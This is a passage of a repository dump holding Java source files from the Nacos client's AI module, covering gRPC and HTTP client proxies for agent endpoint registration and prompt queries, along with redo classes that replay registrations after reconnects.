(!isAbilitySupportedByServer(AbilityKey.SERVER_AGENT_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support agent registry feature.\");\n        }\n        redoService.cachedAgentEndpointForRedo(agentName, AgentEndpointWrapper.wrap(endpoint));\n        doRegisterAgentEndpoint(agentName, endpoint);\n    }\n    \n    /**\n     * Batch Register agent endpoint into agent.\n     *\n     * @param agentName agent name\n     * @param endpoints agent endpoints\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void registerAgentEndpoints(String agentName, Collection<AgentEndpoint> endpoints) throws NacosException {\n        LOGGER.info(\"[{}] BATCH REGISTER Agent endpoint size: {} into agent {}\", uuid, endpoints.size(), agentName);\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_AGENT_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support agent registry feature.\");\n        }\n        redoService.cachedAgentEndpointForRedo(agentName, AgentEndpointWrapper.wrap(endpoints));\n        doRegisterAgentEndpoint(agentName, endpoints);\n    }\n    \n    /**\n     * Actual do register agent endpoint into agent.\n     *\n     * @param agentName agent name\n     * @param endpoint  agent endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void doRegisterAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        request.setNamespaceId(this.namespaceId);\n        request.setAgentName(agentName);\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        request.setEndpoint(endpoint);\n        requestToServer(request, AgentEndpointResponse.class);\n        redoService.agentEndpointRegistered(agentName);\n    }\n    \n    /**\n     * Actual do batch register agent endpoint into agent.\n     *\n     * @param agentName agent name\n     * @param endpoints agent endpoints\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void doRegisterAgentEndpoint(String agentName, Collection<AgentEndpoint> endpoints) throws NacosException {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        request.setNamespaceId(this.namespaceId);\n        request.setAgentName(agentName);\n        request.setEndpoints(endpoints);\n        requestToServer(request, AgentEndpointResponse.class);\n        redoService.agentEndpointRegistered(agentName);\n    }\n    \n    /**\n     * Deregister agent endpoint from agent.\n     *\n     * @param agentName agent name\n     * @param endpoint  agent endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void deregisterAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n        LOGGER.info(\"[{}] DE-REGISTER agent endpoint {} from agent {}\", uuid, endpoint.toString(), agentName);\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_AGENT_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support agent registry feature.\");\n        }\n        redoService.agentEndpointDeregister(agentName);\n        doDeregisterAgentEndpoint(agentName, endpoint);\n    }\n    \n    /**\n     * Actual do deregister agent endpoint from agent.\n     *\n     * @param agentName agent name\n     * @param endpoint  agent endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void doDeregisterAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        request.setNamespaceId(this.namespaceId);\n        request.setAgentName(agentName);\n        request.setType(AiRemoteConstants.DE_REGISTER_ENDPOINT);\n        request.setEndpoint(endpoint);\n        requestToServer(request, AgentEndpointResponse.class);\n        redoService.agentEndpointDeregistered(agentName);\n    }\n    \n    /**\n     * Subscribe agent card.\n     *\n     * @param agentName name of agent card\n     * @param version   version of agent card\n     * @return current agent card\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public AgentCardDetailInfo subscribeAgentCard(String agentName, String version) throws NacosException {\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_AGENT_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support agent registry feature.\");\n        }\n        AgentCardDetailInfo cachedAgentCard = agentCardCacheHolder.getAgentCard(agentName, version);\n        if (null == cachedAgentCard) {\n            try {\n                cachedAgentCard = getAgentCard(agentName, version, StringUtils.EMPTY);\n                agentCardCacheHolder.processAgentCardDetailInfo(cachedAgentCard);\n            } catch (NacosException e) {\n                if (NacosException.NOT_FOUND != e.getErrCode()) {\n                    throw e;\n                }\n            }\n            agentCardCacheHolder.addAgentCardUpdateTask(agentName, version);\n        }\n        return cachedAgentCard;\n    }\n    \n    /**\n     * Un-subscribe agent card.\n     *\n     * @param agentName name of agent card\n     * @param version   version of agent card\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void unsubscribeAgentCard(String agentName, String version) throws NacosException {\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_AGENT_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support agent registry feature.\");\n        }\n        agentCardCacheHolder.removeAgentCardUpdateTask(agentName, version);\n    }\n    \n    public boolean isEnable() {\n        return rpcClient.isRunning();\n    }\n    \n    /**\n     * Determine whether nacos-server supports the capability.\n     *\n     * @param abilityKey ability key\n     * @return true if supported, otherwise false\n     */\n    public boolean isAbilitySupportedByServer(AbilityKey abilityKey) {\n        return rpcClient.getConnectionAbility(abilityKey) == AbilityStatus.SUPPORTED;\n    }\n    \n    private <T extends Response> T requestToServer(Request request, Class<T> responseClass) throws NacosException {\n        Response response = null;\n        try {\n            if (request instanceof AbstractMcpRequest) {\n                AbstractMcpRequest mcpRequest = (AbstractMcpRequest) request;\n                request.putAllHeader(getSecurityHeaders(mcpRequest.getNamespaceId(), mcpRequest.getMcpName()));\n            } else if (request instanceof AbstractAgentRequest) {\n                AbstractAgentRequest agentRequest = (AbstractAgentRequest) request;\n                request.putAllHeader(getSecurityHeaders(agentRequest.getNamespaceId(), agentRequest.getAgentName()));\n            } else if (request instanceof AbstractPromptRequest) {\n                AbstractPromptRequest promptRequest = (AbstractPromptRequest) request;\n                request.putAllHeader(getSecurityHeaders(promptRequest.getNamespaceId(), promptRequest.getPromptKey()));\n            } else {\n                throw new NacosException(400,\n                        String.format(\"Unknown AI request type: %s\", request.getClass().getSimpleName()));\n            }\n            \n            response = requestTimeout < 0 ? rpcClient.request(request) : rpcClient.request(request, requestTimeout);\n            if (ResponseCode.SUCCESS.getCode() != response.getResultCode()) {\n                // If the 403 login operation is triggered, refresh the accessToken of the client\n                if (NacosException.NO_RIGHT == response.getErrorCode()) {\n                    securityProxy.reLogin();\n                }\n                throw new NacosException(response.getErrorCode(), response.getMessage());\n            }\n            if (responseClass.isAssignableFrom(response.getClass())) {\n                return (T) response;\n            }\n            throw new NacosException(NacosException.SERVER_ERROR,\n                    String.format(\"Server return invalid response: %s\", response.getClass().getSimpleName()));\n        } catch (NacosException e) {\n            LOGGER.warn(\"AI request {} execute failed, {}\", request.getClass().getSimpleName(), e.getMessage());\n            throw e;\n        } catch (Exception e) {\n            LOGGER.warn(\"AI request {} execute failed. \", request.getClass().getSimpleName(), e);\n            throw new NacosException(NacosException.SERVER_ERROR, \"Request nacos server failed: \", e);\n        }\n    }\n    \n    private Map<String, String> getSecurityHeaders(String namespace, String mcpName) {\n        RequestResource resource = buildRequestResource(namespace, mcpName);\n        return securityProxy.getIdentityContext(resource);\n    }\n    \n    private RequestResource buildRequestResource(String namespaceId, String mcpName) {\n        RequestResource.Builder builder = RequestResource.aiBuilder();\n        builder.setNamespace(namespaceId);\n        builder.setGroup(com.alibaba.nacos.api.common.Constants.DEFAULT_GROUP);\n        builder.setResource(null == mcpName ? StringUtils.EMPTY : mcpName);\n        return builder.build();\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        rpcClient.shutdown();\n        serverListManager.shutdown();\n        if (null != securityProxy) {\n            securityProxy.shutdown();\n        }\n        if (null != executorService) {\n            ThreadUtils.shutdownThreadPool(executorService, LOGGER);\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/AiHttpClientProxy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote;\n\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.ContextPathUtil;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.tls.TlsSystemConfig;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.net.HttpURLConnection;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.client.constant.Constants.Security.SECURITY_INFO_REFRESH_INTERVAL_MILLS;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTPS_PREFIX;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * AI HTTP client proxy for AI operations over HTTP transport.\n *\n * <p>Provides HTTP-based implementation of {@link AiClientProxy}, enabling AI operations\n * to go through HTTP instead of gRPC. This is useful when a gateway sits between client\n * and server that cannot handle gRPC traffic.</p>\n *\n * <p>Currently supports Prompt operations; extensible for Skill and other capabilities.</p>\n *\n * @author nacos\n */\npublic class AiHttpClientProxy implements AiClientProxy {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AiHttpClientProxy.class);\n    \n    private static final String PROMPT_CLIENT_PATH = \"/v3/client/ai/prompt\";\n    \n    private static final int MAX_RETRY = 3;\n    \n    private static final boolean ENABLE_HTTPS = Boolean.getBoolean(TlsSystemConfig.TLS_ENABLE);\n    \n    private final String namespaceId;\n    \n    private final NacosRestTemplate nacosRestTemplate;\n    \n    private final NamingServerListManager serverListManager;\n    \n    private final SecurityProxy securityProxy;\n    \n    private final ScheduledThreadPoolExecutor executorService;\n    \n    AiHttpClientProxy() {\n        this.namespaceId = null;\n        this.nacosRestTemplate = null;\n        this.serverListManager = null;\n        this.securityProxy = null;\n        this.executorService = null;\n    }\n    \n    public AiHttpClientProxy(String namespaceId, NacosClientProperties properties) throws NacosException {\n        this.namespaceId = namespaceId;\n        this.nacosRestTemplate = NamingHttpClientManager.getInstance().getNacosRestTemplate();\n        this.serverListManager = new NamingServerListManager(properties, namespaceId);\n        this.serverListManager.start();\n        this.securityProxy = new SecurityProxy(this.serverListManager, this.nacosRestTemplate);\n        this.executorService = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.ai.http.security\"));\n        final Properties nacosClientPropertiesView = properties.asProperties();\n        this.securityProxy.login(nacosClientPropertiesView);\n        this.executorService.scheduleWithFixedDelay(() -> securityProxy.login(nacosClientPropertiesView), 0,\n                SECURITY_INFO_REFRESH_INTERVAL_MILLS, TimeUnit.MILLISECONDS);\n    }\n    \n    @Override\n    public Prompt queryPrompt(String promptKey, String version, String label, String md5) throws NacosException {\n        Map<String, String> params = new HashMap<>(8);\n        params.put(\"namespaceId\", namespaceId);\n        params.put(\"promptKey\", promptKey);\n        if (StringUtils.isNotBlank(version)) {\n            params.put(\"version\", version);\n        }\n        if (StringUtils.isNotBlank(label)) {\n            params.put(\"label\", label);\n        }\n        if (StringUtils.isNotBlank(md5)) {\n            params.put(\"md5\", md5);\n        }\n        \n        RequestResource resource = RequestResource.aiBuilder().setNamespace(namespaceId)\n                .setGroup(com.alibaba.nacos.api.common.Constants.DEFAULT_GROUP)\n                .setResource(null == promptKey ? StringUtils.EMPTY : promptKey).build();\n        \n        String responseBody = reqApi(PROMPT_CLIENT_PATH, params, resource);\n        Result<Prompt> result = JacksonUtils.toObj(responseBody, new TypeReference<Result<Prompt>>() {\n        });\n        return result.getData();\n    }\n    \n    // ===== Generic HTTP infrastructure =====\n    \n    private String reqApi(String api, Map<String, String> params, RequestResource resource) throws NacosException {\n        List<String> servers = serverListManager.getServerList();\n        if (servers.isEmpty()) {\n            throw new NacosException(NacosException.INVALID_PARAM, \"no server available\");\n        }\n        \n        NacosException exception = new NacosException();\n        int index = ThreadLocalRandom.current().nextInt(servers.size());\n        \n        for (int i = 0; i < Math.max(servers.size(), MAX_RETRY); i++) {\n            String server = servers.get(index % servers.size());\n            try {\n                return callServer(api, params, server, resource);\n            } catch (NacosException e) {\n                exception = e;\n                if (LOGGER.isDebugEnabled()) {\n                    LOGGER.debug(\"Request {} to server {} failed.\", api, server, e);\n                }\n            }\n            index = (index + 1) % servers.size();\n        }\n        \n        LOGGER.error(\"Request: {} failed, servers: {}, code: {}, msg: {}\", api, servers, exception.getErrCode(),\n                exception.getErrMsg());\n        throw new NacosException(exception.getErrCode(),\n                \"Failed to request API: \" + api + \" after all servers(\" + servers + \") tried: \"\n                        + exception.getMessage());\n    }\n    \n    private String callServer(String api, Map<String, String> params, String server, RequestResource resource)\n            throws NacosException {\n        Map<String, String> securityHeaders = securityProxy.getIdentityContext(resource);\n        Header header = Header.newInstance();\n        header.addAll(securityHeaders);\n        \n        String url = buildUrl(server, api);\n        \n        try {\n            HttpRestResult<String> restResult = nacosRestTemplate.get(url, header,\n                    Query.newInstance().initParams(params), String.class);\n            \n            if (restResult.ok()) {\n                return restResult.getData();\n            }\n            if (HttpURLConnection.HTTP_NOT_MODIFIED == restResult.getCode()) {\n                throw new NacosException(NacosException.NOT_MODIFIED, \"not modified\");\n            }\n            if (HttpURLConnection.HTTP_FORBIDDEN == restResult.getCode()) {\n                securityProxy.reLogin();\n            }\n            throw new NacosException(restResult.getCode(), restResult.getMessage());\n        } catch (NacosException e) {\n            throw e;\n        } catch (Exception e) {\n            LOGGER.error(\"[AI-HTTP] Failed to request {}\", url, e);\n            throw new NacosException(NacosException.SERVER_ERROR, e);\n        }\n    }\n    \n    private String buildUrl(String serverAddr, String relativePath) {\n        if (!serverAddr.startsWith(HTTP_PREFIX) && !serverAddr.startsWith(HTTPS_PREFIX)) {\n            serverAddr = (ENABLE_HTTPS ? HTTPS_PREFIX : HTTP_PREFIX) + serverAddr;\n        }\n        String contextPath = serverListManager.getContextPath();\n        return serverAddr + ContextPathUtil.normalizeContextPath(contextPath) + relativePath;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        serverListManager.shutdown();\n        if (securityProxy != null) {\n            securityProxy.shutdown();\n        }\n        if (executorService != null) {\n            ThreadUtils.shutdownThreadPool(executorService, LOGGER);\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/redo/AgentEndpointRedoData.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport com.alibaba.nacos.client.redo.data.RedoData;\n\nimport java.util.Objects;\n\n/**\n * Nacos AI module mcp server endpoint redo data.\n *\n * @author xiweng.yy\n */\npublic class AgentEndpointRedoData extends RedoData<AgentEndpointWrapper> {\n    \n    private final String agentName;\n    \n    public AgentEndpointRedoData(String agentName, AgentEndpointWrapper agentEndpoint) {\n        this.agentName = agentName;\n        this.set(agentEndpoint);\n    }\n    \n    public String getAgentName() {\n        return agentName;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        if (!super.equals(o)) {\n            return false;\n        }\n        AgentEndpointRedoData that = (AgentEndpointRedoData) o;\n        return Objects.equals(agentName, that.agentName) && super.equals(o);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(super.hashCode(), agentName);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/redo/AgentEndpointWrapper.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.Objects;\n\n/**\n * Wrapper of {@link AgentEndpoint} and batched {@link AgentEndpoint}.\n *\n * @author xiweng.yy\n */\npublic class AgentEndpointWrapper {\n    \n    private final Collection<AgentEndpoint> data;\n    \n    private final boolean isBatch;\n    \n    private AgentEndpointWrapper(Collection<AgentEndpoint> data, boolean isBatch) {\n        this.data = data;\n        this.isBatch = isBatch;\n    }\n    \n    public static AgentEndpointWrapper wrap(AgentEndpoint data) {\n        return new AgentEndpointWrapper(Collections.singletonList(data), false);\n    }\n    \n    public static AgentEndpointWrapper wrap(Collection<AgentEndpoint> data) {\n        return new AgentEndpointWrapper(data, true);\n    }\n    \n    public boolean isBatch() {\n        return isBatch;\n    }\n    \n    public AgentEndpoint getData() {\n        if (isBatch) {\n            throw new UnsupportedOperationException(\"Can't get single data from batched data.\");\n        }\n        return data.iterator().next();\n    }\n    \n    public Collection<AgentEndpoint> getBatchData() {\n        if (!isBatch) {\n            throw new UnsupportedOperationException(\"Can't get batched data from single data.\");\n        }\n        return data;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentEndpointWrapper that = (AgentEndpointWrapper) o;\n        return isBatch == that.isBatch && Objects.equals(data, that.data);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(data, isBatch);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/redo/AiGrpcRedoService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.redo.data.RedoData;\nimport com.alibaba.nacos.client.redo.service.AbstractRedoService;\nimport com.alibaba.nacos.client.redo.service.AbstractRedoTask;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Set;\n\n/**\n * Nacos AI module redo service.\n *\n * @author xiweng.yy\n */\npublic class AiGrpcRedoService extends AbstractRedoService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AiGrpcRedoService.class);\n    \n    private final AiGrpcClient aiGrpcClient;\n    \n    public AiGrpcRedoService(NacosClientProperties properties, AiGrpcClient aiGrpcClient) {\n        super(LOGGER, properties, RemoteConstants.LABEL_MODULE_AI);\n        this.aiGrpcClient = aiGrpcClient;\n        startRedoTask();\n    }\n    \n    @Override\n    protected AbstractRedoTask buildRedoTask() {\n        return new AiRedoScheduledTask(this, aiGrpcClient);\n    }\n    \n    public void cachedMcpServerEndpointForRedo(String mcpName, String address, int port, String version) {\n        RedoData<McpServerEndpoint> redoData = buildMcpServerEndpointRedoData(mcpName, address, port, version);\n        super.cachedRedoData(mcpName, redoData, McpServerEndpoint.class);\n    }\n    \n    public void removeMcpServerEndpointForRedo(String mcpName) {\n        super.removeRedoData(mcpName, McpServerEndpoint.class);\n    }\n    \n    public void mcpServerEndpointRegistered(String mcpName) {\n        super.dataRegistered(mcpName, McpServerEndpoint.class);\n    }\n    \n    public void mcpServerEndpointDeregister(String mcpName) {\n        super.dataDeregister(mcpName, McpServerEndpoint.class);\n    }\n    \n    public void mcpServerEndpointDeregistered(String mcpName) {\n        super.dataDeregistered(mcpName, McpServerEndpoint.class);\n    }\n    \n    public boolean isMcpServerEndpointRegistered(String mcpName) {\n        return super.isDataRegistered(mcpName, McpServerEndpoint.class);\n    }\n    \n    public Set<RedoData<McpServerEndpoint>> findMcpServerEndpointRedoData() {\n        return super.findRedoData(McpServerEndpoint.class);\n    }\n    \n    public McpServerEndpoint getMcpServerEndpoint(String mcpName) {\n        RedoData<McpServerEndpoint> redoData = super.getRedoData(mcpName, McpServerEndpoint.class);\n        return redoData == null ? null : redoData.get();\n    }\n    \n    private RedoData<McpServerEndpoint> buildMcpServerEndpointRedoData(String mcpName, String address, int port,\n            String version) {\n        McpServerEndpoint mcpServerEndpoint = new McpServerEndpoint(address, port, version);\n        McpServerEndpointRedoData result = new McpServerEndpointRedoData(mcpName);\n        result.set(mcpServerEndpoint);\n        return result;\n    }\n    \n    public void cachedAgentEndpointForRedo(String agentName, AgentEndpointWrapper wrapper) {\n        AgentEndpointRedoData redoData = new AgentEndpointRedoData(agentName, wrapper);\n        super.cachedRedoData(agentName, redoData, AgentEndpointWrapper.class);\n    }\n    \n    public void removeAgentEndpointForRedo(String agentName) {\n        super.removeRedoData(agentName, AgentEndpointWrapper.class);\n    }\n    \n    public void agentEndpointRegistered(String agentName) {\n        super.dataRegistered(agentName, AgentEndpointWrapper.class);\n    }\n    \n    public void agentEndpointDeregister(String agentName) {\n        super.dataDeregister(agentName, AgentEndpointWrapper.class);\n    }\n    \n    public void agentEndpointDeregistered(String agentName) {\n        super.dataDeregistered(agentName, AgentEndpointWrapper.class);\n    }\n    \n    public boolean isAgentEndpointRegistered(String agentName) {\n        return super.isDataRegistered(agentName, AgentEndpointWrapper.class);\n    }\n    \n    public Set<RedoData<AgentEndpointWrapper>> findAgentEndpointRedoData() {\n        return super.findRedoData(AgentEndpointWrapper.class);\n    }\n    \n    public AgentEndpointWrapper getAgentEndpoint(String agentName) {\n        RedoData<AgentEndpointWrapper> redoData = super.getRedoData(agentName, AgentEndpointWrapper.class);\n        return redoData == null ? null : redoData.get();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/redo/AiRedoScheduledTask.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.NamingRedoData;\nimport com.alibaba.nacos.client.redo.data.RedoData;\nimport com.alibaba.nacos.client.redo.service.AbstractRedoTask;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Nacos AI module redo task.\n *\n * @author xiweng.yy\n */\npublic class AiRedoScheduledTask extends AbstractRedoTask<AiGrpcRedoService> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AiRedoScheduledTask.class);\n    \n    private final AiGrpcClient aiGrpcClient;\n    \n    public AiRedoScheduledTask(AiGrpcRedoService redoService, AiGrpcClient aiGrpcClient) {\n        super(LOGGER, redoService);\n        this.aiGrpcClient = aiGrpcClient;\n    }\n    \n    @Override\n    protected void redoData() throws NacosException {\n        try {\n            redoForMcpSeverEndpoint();\n            redoForAgentEndpoint();\n        } catch (Exception e) {\n            LOGGER.warn(\"Redo task run with unexpected exception: \", e);\n        }\n    }\n    \n    private void redoForAgentEndpoint() {\n        for (RedoData<AgentEndpointWrapper> each : getRedoService().findAgentEndpointRedoData()) {\n            AgentEndpointRedoData redoData = (AgentEndpointRedoData) each;\n            try {\n                redoForAgentEndpoint(redoData);\n            } catch (NacosException e) {\n                LOGGER.error(\"Redo agent endpoint operation {} for {}} failed. \", each.getRedoType(),\n                        redoData.getAgentName(), e);\n            }\n        }\n    }\n    \n    private void redoForAgentEndpoint(AgentEndpointRedoData redoData) throws NacosException {\n        NamingRedoData.RedoType redoType = redoData.getRedoType();\n        String agentName = redoData.getAgentName();\n        LOGGER.info(\"Redo agent endpoint operation {} for {}.\", redoType, agentName);\n        AgentEndpointWrapper wrapper = redoData.get();\n        switch (redoType) {\n            case REGISTER:\n                if (!aiGrpcClient.isEnable()) {\n                    return;\n                }\n                if (wrapper.isBatch()) {\n                    aiGrpcClient.doRegisterAgentEndpoint(agentName, wrapper.getBatchData());\n                } else {\n                    aiGrpcClient.doRegisterAgentEndpoint(agentName, wrapper.getData());\n                }\n                break;\n            case UNREGISTER:\n                if (!aiGrpcClient.isEnable()) {\n                    return;\n                }\n                AgentEndpoint endpoint = wrapper.isBatch() ? wrapper.getBatchData().stream().findFirst().get()\n                        : wrapper.getData();\n                aiGrpcClient.doDeregisterAgentEndpoint(agentName, endpoint);\n                break;\n            case REMOVE:\n                getRedoService().removeAgentEndpointForRedo(agentName);\n                break;\n            default:\n        }\n    }\n    \n    private void redoForMcpSeverEndpoint() {\n        for (RedoData<McpServerEndpoint> each : getRedoService().findMcpServerEndpointRedoData()) {\n            McpServerEndpointRedoData redoData = (McpServerEndpointRedoData) each;\n            try {\n                redoForMcpServerEndpoint(redoData);\n            } catch (NacosException e) {\n                LOGGER.error(\"Redo mcp server endpoint operation {} for {}} failed. \", each.getRedoType(),\n                        redoData.getMcpName(), e);\n            }\n        }\n    }\n    \n    private void redoForMcpServerEndpoint(McpServerEndpointRedoData redoData) throws NacosException {\n        NamingRedoData.RedoType redoType = redoData.getRedoType();\n        String mcpName = redoData.getMcpName();\n        LOGGER.info(\"Redo mcp server endpoint operation {} for {}.\", redoType, mcpName);\n        McpServerEndpoint endpoint = redoData.get();\n        switch (redoType) {\n            case REGISTER:\n                if (!aiGrpcClient.isEnable()) {\n                    return;\n                }\n                aiGrpcClient.doRegisterMcpServerEndpoint(mcpName, endpoint.getAddress(), endpoint.getPort(),\n                        endpoint.getVersion());\n                break;\n            case UNREGISTER:\n                if (!aiGrpcClient.isEnable()) {\n                    return;\n                }\n                aiGrpcClient.doDeregisterMcpServerEndpoint(mcpName, endpoint.getAddress(), endpoint.getPort());\n                break;\n            case REMOVE:\n                getRedoService().removeMcpServerEndpointForRedo(mcpName);\n                break;\n            default:\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/redo/McpServerEndpoint.java",
